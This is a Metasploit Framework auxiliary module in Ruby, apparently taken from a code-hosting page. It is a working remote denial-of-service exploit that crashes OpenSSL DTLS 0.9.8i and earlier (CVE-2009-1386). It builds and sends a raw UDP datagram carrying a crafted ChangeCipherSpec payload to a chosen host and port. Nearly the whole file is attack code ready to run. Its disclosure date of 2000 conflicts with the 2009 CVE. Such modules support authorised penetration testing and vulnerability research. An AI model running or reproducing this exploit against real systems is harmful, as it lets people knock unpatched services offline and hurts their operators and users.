67 lines
1.8 KiB
Ruby
67 lines
1.8 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
require 'racket'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Auxiliary::Dos
|
|
include Msf::Exploit::Capture
|
|
include Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS Exploit',
|
|
'Description' => %q{
|
|
This module performs a Denial of Service Attack against Datagram TLS in OpenSSL
|
|
version 0.9.8i and earlier. OpenSSL crashes under these versions when it recieves a
|
|
ChangeCipherspec Datagram before a ClientHello.
|
|
},
|
|
'Author' => ['TheLightCosine <thelightcosine@gmail.com>'],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-1386' ],
|
|
[ 'OSVDB', '55073'],
|
|
],
|
|
'DisclosureDate' => 'Apr 26 2000'))
|
|
|
|
deregister_options('FILTER','PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT')
|
|
end
|
|
|
|
def run
|
|
print_status("Creating DTLS ChangeCipherSpec Datagram...")
|
|
open_pcap
|
|
n = Racket::Racket.new
|
|
|
|
n.layers[3] = Racket::L3::IPv4.new
|
|
n.layers[3].dst_ip = datastore['RHOST']
|
|
n.layers[3].version = 4
|
|
n.layers[3].hlen = 0x5 #
|
|
n.layers[3].ttl = 44
|
|
n.layers[3].protocol = 0x11
|
|
|
|
n.layers[4] = Racket::L4::UDP.new
|
|
n.layers[4].src_port = 34060
|
|
n.layers[4].dst_port = Integer(datastore['RPORT'])
|
|
n.layers[4].payload = "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01"
|
|
n.layers[4].fix!(n.layers[3].src_ip, n.layers[3].dst_ip)
|
|
|
|
buff = n.pack
|
|
print_status("Sending Datagram to target...")
|
|
capture_sendto(buff, '255.255.255.255')
|
|
close_pcap
|
|
end
|
|
end
|